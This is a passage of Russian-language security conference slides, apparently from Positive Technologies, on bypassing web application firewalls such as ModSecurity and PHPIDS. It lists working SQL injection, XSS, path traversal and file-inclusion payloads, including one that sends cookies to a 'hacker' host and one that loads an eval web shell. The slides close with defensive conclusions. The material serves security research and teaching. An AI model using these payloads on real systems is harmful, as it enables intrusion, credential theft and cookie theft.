  98. 98. Практика обхода WAF: SQL Injection – HPF <ul><li>Использование HTTP Parameter Fragmentation (HPF) </li></ul><ul><ul><li>Пример уязвимого кода </li></ul></ul><ul><ul><li>Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b'] ); </li></ul></ul><ul><ul><li>Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b']. &quot; limit &quot; .$_GET['c'] ); </li></ul></ul><ul><ul><li>Следующий запрос не позволяет провести атаку </li></ul></ul><ul><ul><li>/?a=1+ union+select +1,2/* </li></ul></ul><ul><ul><li>При использовании HPF такие запросы могут успешно отработать </li></ul></ul><ul><ul><li>/?a=1+ union/* &b= */select+1,2 </li></ul></ul><ul><ul><li>/?a=1+ union/* &b= */select+1,pass/* &c= */from+users-- </li></ul></ul><ul><ul><li>SQL - запросы принимают вид </li></ul></ul><ul><ul><li>select * from table where a= 1 union /* and b=*/ select 1,2 </li></ul></ul><ul><ul><li>select * from table where a= 1 union /* and b=*/ select 1,pass /* limit */ from users -- </li></ul></ul><ul><ul><li>http://devteev.blogspot.com/2009/09/http-parameter-fragmentation-hpf-web.html </li></ul></ul>
  99. 99. Практика обхода WAF: Blind SQL Injection <ul><li>Использование логических запросов AND и OR </li></ul><ul><ul><li>Следующий запрос для многих WAF позволяет успешно провести атаку </li></ul></ul><ul><ul><li>/?id=1+ OR+0x50=0x50 </li></ul></ul><ul><ul><li>/?id=1+ and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 </li></ul></ul><ul><li>Вместо знака равенства может использоваться отрицание или неравенство (!=, <>, <, > ) – Парадокс! Но многие WAF это пропускают. </li></ul><ul><li>Заменяя функции SQL , которые попадают в сигнатуры WAF , на их синонимы, можно эксплуатировать уязвимость методом blind-SQL Injection </li></ul><ul><ul><li>substring() -> mid(), substr(), etc </li></ul></ul><ul><ul><li>ascii() -> hex(), bin(), etc </li></ul></ul><ul><ul><li>benchmark() -> sleep() </li></ul></ul><ul><li>Данный пример справедлив для всех WAF , разработчики которых стремятся охватить как можно больше web- приложений </li></ul>
  100. 100. Практика обхода WAF: SQL Injection – PHPIDS <ul><li>PHPIDS (0.6.1.1) </li></ul><ul><ul><li>Ругается на : /?id=1+union+select+user,password+from+mysql.user+ where +user=1 </li></ul></ul><ul><ul><li>Но пропускает : /?id=1+ union+select+user,password+from+mysql.user+limit+0,1 </li></ul></ul><ul><ul><li>Ругается на : /?id=1+ OR+1=1 </li></ul></ul><ul><ul><li>Но пропускает : / ?id=1+ OR+0x50=0x50 </li></ul></ul><ul><ul><li>Ругается на : /?id= substring ((1),1,1) </li></ul></ul><ul><ul><li>Но пропускает : /?id= mid ((1),1,1) </li></ul></ul>
  101. 101. Практика обхода WAF: SQL Injection – Mod_Security <ul><li>Mod_Security (2.5.9) </li></ul><ul><ul><li>Ругается на : /?id=1+and+ascii(lower( substring ((select+pwd+from+users+limit+1,1),1,1)))=74 </li></ul></ul><ul><ul><li>Но пропускает : /?id=1+and+ascii(lower( mid ((select+pwd+from+users+limit+1,1),1,1)))=74 </li></ul></ul><ul><ul><li>Ругается на : /?id=1+ OR+1=1 </li></ul></ul><ul><ul><li>Но пропускает : / ?id=1+ OR+0x50=0x50 </li></ul></ul><ul><ul><li>Ругается на : /?id=1+ and+5=6 </li></ul></ul><ul><ul><li>Но пропускает : / ?id=1+ and+5!=6 </li></ul></ul><ul><ul><li>Ругается на : /?id=1 ;drop members </li></ul></ul><ul><ul><li>Но пропускает : / ?id=1 ;delete members </li></ul></ul>
  102. 102. Практика обхода WAF: SQL Injection – Mod_Security <ul><li>И еще один красивый способ эксплуатации SQL Injection в обход Mod_Security (2.5.9) </li></ul><ul><ul><li>Сервер MySQL позволяет использовать комментарии вида: </li></ul></ul><ul><ul><li>/*! sql-code */ и /*!12345 sql-code */ </li></ul></ul><ul><ul><li>Воспользовавшись этим, можно очень элегантно проводить эксплуатацию SQL Injection в обход текущей версии mod_security . Примеры : </li></ul></ul><ul><ul><li>/?id=1 /*! limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns */ </li></ul></ul><ul><ul><li>/?id=1 /*!12345 limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns */ </li></ul></ul><ul><ul><li>/?id=1 /*! limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users */ </li></ul></ul><ul><li>http://devteev.blogspot.com/2009/10/sql-injection-waf.html </li></ul>
  103. 103. <ul><ul><li>Общие проблемы </li></ul></ul><ul><ul><li>Сохраненный вариант XSS </li></ul></ul><ul><ul><li>В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки </li></ul></ul><ul><ul><li>Отраженный вариант XSS в Javascript </li></ul></ul><ul><ul><li>Пример : <script> ... setTimeout(&quot;writetitle()&quot;, $_GET[xss] ) ... </script> </li></ul></ul><ul><ul><li>Эксплуатация : /?xss= 500); alert(document.cookie);// </li></ul></ul><ul><ul><li>DOM-based XSS </li></ul></ul><ul><ul><li>Пример : <script> ... eval( $_GET[xss] ); ... </script> </li></ul></ul><ul><ul><li>Эксплуатация : /?xss= document.cookie </li></ul></ul><ul><ul><li>Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8 ) </li></ul></ul>Методы обхода WAF – Cross-Site Scripting
  104. 104. Практика обхода WAF: Cross-Site Scripting <ul><ul><li>XSS через перенаправление запроса </li></ul></ul><ul><ul><li>Уязвимый код : </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><ul><li>header('Location: '.$_GET['param']); </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><ul><li>А также : </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><ul><li>header('Refresh: 0; URL='.$_GET['param']); </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><ul><li>Такой запрос WAF не пропустит : </li></ul></ul><ul><ul><li>/?param= javascript:alert(document.cookie) </li></ul></ul><ul><ul><li>Подобный запрос WAF пропустит , и XSS отработает на некоторых браузерах ( Opera, Safari , Chrome, etc ) : </li></ul></ul><ul><ul><li>/?param= data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= </li></ul></ul><ul><ul><li>http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html </li></ul></ul>
  105. 105. Практика обхода WAF: Cross-Site Scripting <ul><ul><li>Использование HPP, HPF иногда позволяет обойти фильтры </li></ul></ul><ul><ul><li>Обход правил фильтрации на примере ModSecurity: </li></ul></ul><ul><ul><li><img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> </li></ul></ul><ul><ul><li>&quot;;document.write('<img sr'%2b'c=http:// hacker /x.png?'%2bdocument['cookie']%2b'>');&quot; </li></ul></ul><ul><ul><li>... </li></ul></ul><ul><ul><li>BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf </li></ul></ul>
  106. 106. Практика обхода WAF: Path Traversal и LFI <ul><li>Действительно, обойти сигнатуру « ../ » и «..» не всегда возможно, но всегда ли это требуется ? </li></ul><ul><li>Пример 1. Чтение файлов в каталоге, расположенном выше корневого </li></ul><ul><ul><li>Логика программы : </li></ul></ul><ul><ul><li><? include( $_GET['file'] .&quot;.txt&quot;) ; ?> </li></ul></ul><ul><ul><li>Эксплуатация уязвимости : </li></ul></ul><ul><ul><li>/?file= secrets/admins.db/./.[N]/./. </li></ul></ul><ul><ul><li>/?file= secrets/admins.db..[N].. </li></ul></ul><ul><li>Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой: </li></ul><ul><ul><li>Нормализация пути (лишние символы, например , «/» и «/.» , удаляются) </li></ul></ul><ul><ul><li>Усечение пути (определяется константой MAX_PATH, которая обычно меньше MAX_URI_PATH в WAF ) </li></ul></ul><ul><ul><li>http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/ </li></ul></ul>
  107. 107. Практика обхода WAF: Path Traversal и LFI <ul><li>Использование замены null-byte в реальных условиях </li></ul><ul><li>При эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: &quot; any/../file[N] &quot;, или &quot; ../../file[N] &quot;, или &quot; /../../file[N] &quot;, где [N] - замена null-byte, характерная для атакуемой ОС. </li></ul><ul><ul><li>Примеры ( среда FreeBSD 7.2 с php v5.2.10 with Suhosin-Patch 0.9.7): </li></ul></ul><ul><ul><li><? include(&quot;q/&quot;.$_GET['f'].&quot;.txt&quot;); ?> </li></ul></ul><ul><ul><li>Для выполнения атаки работает: /? f=../../../../../etc/passwd/.[N]/. </li></ul></ul><ul><ul><li>, где /.[ N]/. - repeat(&quot;/.&quot;, 487) </li></ul></ul><ul><ul><li><? include(&quot;qq/&quot;.$_GET['f'].&quot;.txt&quot;); ?> </li></ul></ul><ul><ul><li>Предыдущий URL не позволит получить / etc/passwd. Но такой запрос успешно отработает: </li></ul></ul><ul><ul><li>/? f=/../../../../../etc/passwd/.[N]/. </li></ul></ul><ul><ul><li><? include($_GET['f'].&quot;.txt&quot;); ?> </li></ul></ul><ul><ul><li>Предыдущие запросы не сработают. Отработает следующий URL: </li></ul></ul><ul><ul><li>/?f=non/../../../../../etc/passwd/.[N]/. </li></ul></ul><ul><li>http://devteev.blogspot.com/2009/08/null-byte.html; http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt </li></ul>
  108. 108. Практика обхода WAF: Path Traversal и LFI <ul><li>Пример 2. Выполнение команд на сервере </li></ul><ul><ul><li>Логика программы : </li></ul></ul><ul><ul><li><? include( $_GET['file'] .&quot;.txt&quot;) ; ?> </li></ul></ul><ul><ul><li>Эксплуатация уязвимости : </li></ul></ul><ul><ul><li>Запрос, блокируемый WAF: </li></ul></ul><ul><ul><li>/?file=data:, <?php eval($_REQUEST[cmd]);?> &cmd=phpinfo(); </li></ul></ul><ul><ul><li>Запрос, который WAF пропускает : </li></ul></ul><ul><ul><li>/?file= data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b &cmd= phpinfo(); </li></ul></ul><ul><li>Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable) </li></ul><ul><li>reference: коллективный разум antichat.ru </li></ul>
  109. 109. Практика обхода WAF: Remote File Including <ul><li>Фундаментальные ограничения WAF ( универсальный фильтр будет блокировать легитимные запросы! ) </li></ul><ul><li>Примеры легитимных запросов в логике крупных web- ресурсов : </li></ul><ul><ul><li>Перенаправление HTTP- запроса : </li></ul></ul><ul><ul><li>http://www.securitylab.ru/exturl.php?goto=http://ya.ru </li></ul></ul><ul><ul><li>http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru </li></ul></ul><ul><ul><li>http://www.google.com/url?url=http://ya.ru </li></ul></ul><ul><ul><li>http://vkontakte.ru/away.php?to=http://ya.ru ... </li></ul></ul><ul><ul><li>Обычная запись в Wiki: </li></ul></ul><ul><ul><li>http://en.wikipedia.org/wiki/Http://www.google.com </li></ul></ul><ul><ul><li>Online- переводчик : </li></ul></ul><ul><ul><li>http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru </li></ul></ul>
  110. 110. Уязвимости в «живой природе»
  111. 111. <ul><li>SQL Injection можно встретить даже на широко известных и крупных Интернет-ресурсах </li></ul>SQL Injection в «живой природе»
  112. 112. <ul><li>XSS – «головная боль» для всех web- проектов </li></ul>Cross-Site Scripting в «живой природе»
  113. 113. К чему приводит беззаботное отношение к безопасности web- приложений ?
  114. 114. Мы немного посканировали… <ul><li>Инструментальное обследование сети </li></ul><ul><li>Сканирование портов и сервисов </li></ul><ul><li>Исследование защищенности web -приложения методом «черного ящика» </li></ul>
  115. 115. … обнаружили уязвимость в web- приложении… <ul><li>Сканирование сети </li></ul><ul><li>Успешно подобран пароль! </li></ul><ul><ul><li>Эксплуатация SQL Injection </li></ul></ul><ul><ul><li>Выполнение команд на сервере </li></ul></ul><ul><ul><li>Повышение привилегий </li></ul></ul><ul><ul><li>Атака на внутренние ресурсы </li></ul></ul>
  116. 116. … захватили управление всей сетью :-) <ul><li>Сканирование сети </li></ul><ul><li>Успешно подобран пароль! </li></ul><ul><ul><li>Эксплуатация SQL Injection </li></ul></ul><ul><ul><li>Выполнение команд на сервере </li></ul></ul><ul><ul><li>Повышение привилегий </li></ul></ul><ul><ul><li>Атака на внутренние ресурсы </li></ul></ul><ul><ul><li>Внутренний пентест </li></ul></ul><ul><ul><li>Установка сканера MaxPatrol </li></ul></ul><ul><ul><li>Поиск уязвимостей </li></ul></ul><ul><ul><li>Эксплуатация уязвимостей </li></ul></ul><ul><ul><li>Перемещение в ИС ЦО </li></ul></ul><ul><ul><li>Проведение атаки на ресурсы ЦО </li></ul></ul><ul><ul><li>Получение максимальных привилегий во всей сети! </li></ul></ul>
  117. 117. Резюме <ul><li>WAF – это не долгожданная &quot;серебряная пуля&quot; </li></ul><ul><ul><li>WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки </li></ul></ul><ul><ul><li>Концептуальные проблемы WAF – использование сигнатурного принципа </li></ul></ul><ul><li>Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде </li></ul><ul><li>Безопасность должна быть разумной </li></ul><ul><li>Безопасность должна быть комплексной </li></ul><ul><li>Безопасность – это непрерывный процесс </li></ul>
  118. 118. Спасибо за внимание! [email_address] [email_address] http://www.ptsecurity.ru/

×